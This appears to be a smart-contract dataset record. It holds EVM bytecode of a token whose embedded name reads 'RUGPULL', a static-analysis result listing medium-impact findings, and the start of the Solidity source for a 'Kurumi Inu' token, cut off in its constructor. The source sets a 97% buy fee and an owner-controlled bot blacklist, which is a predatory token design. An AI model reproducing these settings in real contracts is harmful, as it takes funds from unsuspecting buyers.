a4565b60405180910390fd5b60008111610c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1890613a24565b60405180910390fd5b806011819055507fc41b5064775c86e0a1e98e057992d9ecfe4e9c65c454c523295565ade199f79a610c5f60646011546124d790919063ffffffff16565b604051610c6c9190613b24565b60405180910390a150565b6000601260009054906101000a900460ff16905090565b610c96611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90613aa4565b60405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da690613a44565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e54600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612521565b9050919050565b610e63611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790613aa4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610fdc620186a0610fce60115460075461258f90919063ffffffff16565b6124d790919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611012611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109690613aa4565b60405180910390fd5b600060066000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600781526020017f52554750554c4c00000000000000000000000000000000000000000000000000815250905090565b6000611228611221611b3d565b8484611d10565b6001905092915050565b61123a610fe1565b73ffffffffffffffffffffffffffffffffffffffff16611258611b3d565b73ffffffffffffffffffffffffffffffffffffffff161461127857600080fd5b600061128330610e0a565b905061128e8161260a565b50565b611299611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131d90613aa4565b60405180910390fd5b600f60159054906101000a900460ff1661133f57600080fd5b6001600f60146101000a81548160ff021916908315150217905550565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611445611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c990613aa4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061155b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600754611b45565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115a157600080fd5b505afa1580156115b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d99190613418565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561163b57600080fd5b505afa15801561164f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116739190613418565b6040518363ffffffff1660e01b8152600401611690929190613894565b602060405180830381600087803b1580156116aa57600080fd5b505af11580156116be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e29190613418565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061176b30610e0a565b600080611776610fe1565b426040518863ffffffff1660e01b8152600401611798969594939291906138e6565b6060604051808303818588803b1580156117b157600080fd5b505af11580156117c5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117ea919061355a565b5050506001600f60176101000a81548160ff0219169083151502179055506001600f60156101000a81548160ff02191690831515021790555061012c601181905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118cb9291906138bd565b602060405180830381600087803b1580156118e557600080fd5b505af11580156118f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191d9190613508565b5050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b611983611b3d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0790613aa4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a77906139c4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bac90613b04565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1c906139e4565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d039190613b24565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7790613ae4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611df0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de790613984565b60405180910390fd5b60008111611e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2a90613ac4565b60405180910390fd5b611e3b610fe1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ea95750611e79610fe1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239657600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f525750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5b57600080fd5b6000611f89620186a0611f7b60115460075461258f90919063ffffffff16565b6124d790919063ffffffff16565b9050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156120365750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561208c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561216057600f60149054906101000a900460ff166120aa57600080fd5b808211156120b757600080fd5b42600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061210257600080fd5b60016010546121119190613c90565b4261211c9190613c09565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061216b30610e0a565b9050600f60169054906101000a900460ff161580156121d85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121f05750600f60179054906101000a900460ff165b15612393576122466064612238600261222a600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e0a565b61258f90919063ffffffff16565b6124d790919063ffffffff16565b83111561225257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156122ba57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156122c65750600081115b1561239257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661230c611b3d565b73ffffffffffffffffffffffffffffffffffffffff1614806123825750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661236a611b3d565b73ffffffffffffffffffffffffffffffffffffffff16145b15612391576123908161260a565b5b5b5b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244757600090505b80601260006101000a81548160ff02191690831515021790555061246d84848484612904565b50505050565b60008383111582906124bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b29190613962565b60405180910390fd5b50600083856124ca9190613cea565b9050809150509392505050565b600061251983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061293b565b905092915050565b6000600854821115612568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255f906139a4565b60405180910390fd5b600061257261299e565b905061258781846124d790919063ffffffff16565b915050919050565b6000808314156125a25760009050612604565b600082846125b09190613c90565b90508284826125bf9190613c5f565b146125ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f690613a64565b60405180910390fd5b809150505b92915050565b6001600f60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612668577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156126965781602001602082028036833780820191505090505b50905030816000815181106126d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561277657600080fd5b505afa15801561278a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127ae9190613418565b816001815181106127e8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061284f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b45565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016128b3959493929190613b3f565b600060405180830381600087803b1580156128cd57600080fd5b505af11580156128e1573d6000803e3d6000fd5b50505050506000600f60166101000a81548160ff02191690831515021790555050565b80612912576129116129c9565b5b61291d8484846129e4565b8061292b5761292a612931565b5b50505050565b6001600a81905550565b60008083118290612982576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129799190613962565b60405180910390fd5b50600083856129919190613c5f565b9050809150509392505050565b60008060006129ab612bac565b915091506129c281836124d790919063ffffffff16565b9250505090565b6000600a5414156129d9576129e2565b6000600a819055505b565b60008060008060006129f586612bf9565b94509450945094509450612a5185600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5490919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae684600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9e90919063ffffffff16565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b338882612cfc565b612b3d8382613218565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b9a9190613b24565b60405180910390a35050505050505050565b6000806000600854905060006007549050612bd46007546008546124d790919063ffffffff16565b821015612bec57600854600754935093505050612bf5565b81819350935050505b9091565b6000806000806000806000612c1088600a54613281565b915091506000612c1e61299e565b90506000806000612c308c86866132fc565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b6000612c9683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612473565b905092915050565b6000808284612cad9190613c09565b905083811015612cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce990613a04565b60405180910390fd5b8091505092915050565b6000612d0661299e565b90506000821415612d175750613214565b6000612d40605a612d3260248661258f90919063ffffffff16565b6124d790919063ffffffff16565b90506000612d6c61012c612d5e601e8761258f90919063ffffffff16565b6124d790919063ffffffff16565b90506000612d83848461258f90919063ffffffff16565b9050612df98360046000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9e90919063ffffffff16565b60046000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ed28160036000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9e90919063ffffffff16565b60036000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612fb69190613b24565b60405180910390a36000612fd3858461258f90919063ffffffff16565b90506130498360046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9e90919063ffffffff16565b60046000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131228160036000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9e90919063ffffffff16565b60036000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516132069190613b24565b60405180910390a350505050505b5050565b61322d82600854612c5490919063ffffffff16565b6008819055506000811461327d576132766132656004613257600a8561258f90919063ffffffff16565b6124d790919063ffffffff16565b600954612c9e90919063ffffffff16565b6009819055505b5050565b6000806000831415613298578383915091506132f5565b60006132c060646132b2868861258f90919063ffffffff16565b6124d790919063ffffffff16565b905060006132ea6132db60038461258f90919063ffffffff16565b87612c5490919063ffffffff16565b905080829350935050505b9250929050565b600080600080613315858861258f90919063ffffffff16565b9050600086141561332f578081879350935093505061337d565b6000613344868861258f90919063ffffffff16565b9050600061336e61335f60038461258f90919063ffffffff16565b84612c5490919063ffffffff16565b90508281839550955095505050505b93509350939050565b600081359050613395816141b8565b92915050565b6000815190506133aa816141b8565b92915050565b6000815190506133bf816141cf565b92915050565b6000813590506133d4816141e6565b92915050565b6000815190506133e9816141e6565b92915050565b60006020828403121561340157600080fd5b600061340f84828501613386565b91505092915050565b60006020828403121561342a57600080fd5b60006134388482850161339b565b91505092915050565b6000806040838503121561345457600080fd5b600061346285828601613386565b925050602061347385828601613386565b9150509250929050565b60008060006060848603121561349257600080fd5b60006134a086828701613386565b93505060206134b186828701613386565b92505060406134c2868287016133c5565b9150509250925092565b600080604083850312156134df57600080fd5b60006134ed85828601613386565b92505060206134fe858286016133c5565b9150509250929050565b60006020828403121561351a57600080fd5b6000613528848285016133b0565b91505092915050565b60006020828403121561354357600080fd5b6000613551848285016133c5565b91505092915050565b60008060006060848603121561356f57600080fd5b600061357d868287016133da565b935050602061358e868287016133da565b925050604061359f868287016133da565b9150509250925092565b60006135b583836135c1565b60208301905092915050565b6135ca81613d1e565b82525050565b6135d981613d1e565b82525050565b60006135ea82613bc4565b6135f48185613be7565b93506135ff83613bb4565b8060005b8381101561363057815161361788826135a9565b975061362283613bda565b925050600181019050613603565b5085935050505092915050565b61364681613d30565b82525050565b61365581613d73565b82525050565b600061366682613bcf565b6136708185613bf8565b9350613680818560208601613d85565b61368981613e16565b840191505092915050565b60006136a1602383613bf8565b91506136ac82613e27565b604082019050919050565b60006136c4602a83613bf8565b91506136cf82613e76565b604082019050919050565b60006136e7602683613bf8565b91506136f282613ec5565b604082019050919050565b600061370a602283613bf8565b915061371582613f14565b604082019050919050565b600061372d601b83613bf8565b915061373882613f63565b602082019050919050565b6000613750601d83613bf8565b915061375b82613f8c565b602082019050919050565b6000613773602283613bf8565b915061377e82613fb5565b604082019050919050565b6000613796602183613bf8565b91506137a182614004565b604082019050919050565b60006137b9602683613bf8565b91506137c482614053565b604082019050919050565b60006137dc602083613bf8565b91506137e7826140a2565b602082019050919050565b60006137ff602983613bf8565b915061380a826140cb565b604082019050919050565b6000613822602583613bf8565b915061382d8261411a565b604082019050919050565b6000613845602483613bf8565b915061385082614169565b604082019050919050565b61386481613d5c565b82525050565b61387381613d66565b82525050565b600060208201905061388e60008301846135d0565b92915050565b60006040820190506138a960008301856135d0565b6138b660208301846135d0565b9392505050565b60006040820190506138d260008301856135d0565b6138df602083018461385b565b9392505050565b600060c0820190506138fb60008301896135d0565b613908602083018861385b565b613915604083018761364c565b613922606083018661364c565b61392f60808301856135d0565b61393c60a083018461385b565b979650505050505050565b600060208201905061395c600083018461363d565b92915050565b6000602082019050818103600083015261397c818461365b565b905092915050565b6000602082019050818103600083015261399d81613694565b9050919050565b600060208201905081810360008301526139bd816136b7565b9050919050565b600060208201905081810360008301526139dd816136da565b9050919050565b600060208201905081810360008301526139fd816136fd565b9050919050565b60006020820190508181036000830152613a1d81613720565b9050919050565b60006020820190508181036000830152613a3d81613743565b9050919050565b60006020820190508181036000830152613a5d81613766565b9050919050565b60006020820190508181036000830152613a7d81613789565b9050919050565b60006020820190508181036000830152613a9d816137ac565b9050919050565b60006020820190508181036000830152613abd816137cf565b9050919050565b60006020820190508181036000830152613add816137f2565b9050919050565b60006020820190508181036000830152613afd81613815565b9050919050565b60006020820190508181036000830152613b1d81613838565b9050919050565b6000602082019050613b39600083018461385b565b92915050565b600060a082019050613b54600083018861385b565b613b61602083018761364c565b8181036040830152613b7381866135df565b9050613b8260608301856135d0565b613b8f608083018461385b565b9695505050505050565b6000602082019050613bae600083018461386a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c1482613d5c565b9150613c1f83613d5c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c5457613c53613db8565b5b828201905092915050565b6000613c6a82613d5c565b9150613c7583613d5c565b925082613c8557613c84613de7565b5b828204905092915050565b6000613c9b82613d5c565b9150613ca683613d5c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cdf57613cde613db8565b5b828202905092915050565b6000613cf582613d5c565b9150613d0083613d5c565b925082821015613d1357613d12613db8565b5b828203905092915050565b6000613d2982613d3c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613d7e82613d5c565b9050919050565b60005b83811015613da3578082015181840152602081019050613d88565b83811115613db2576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f4163636f756e74206973206e6f74206964656e7469666965642061732061206260008201527f6f74000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4163636f756e7420697320616c7265616479206964656e74696669656420617360008201527f206120626f740000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6141c181613d1e565b81146141cc57600080fd5b50565b6141d881613d30565b81146141e357600080fd5b50565b6141ef81613d5c565b81146141fa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122049d6505dc8f5f955f4ecf6d1de62ed00739698ac74b49821d75dacd52cc391ff64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 1,174 |
0x506e994cce19ae515335fa94abb025368309296f | /**
*Submitted for verification at Etherscan.io on 2022-03-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KurumiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kurumi Inu";
string private constant _symbol = "KURINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x5c32E19Fff94f9560C15CB5c2739323E0B0D9772);
address payable private _marketingAddress = payable(0x5c32E19Fff94f9560C15CB5c2739323E0B0D9772);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
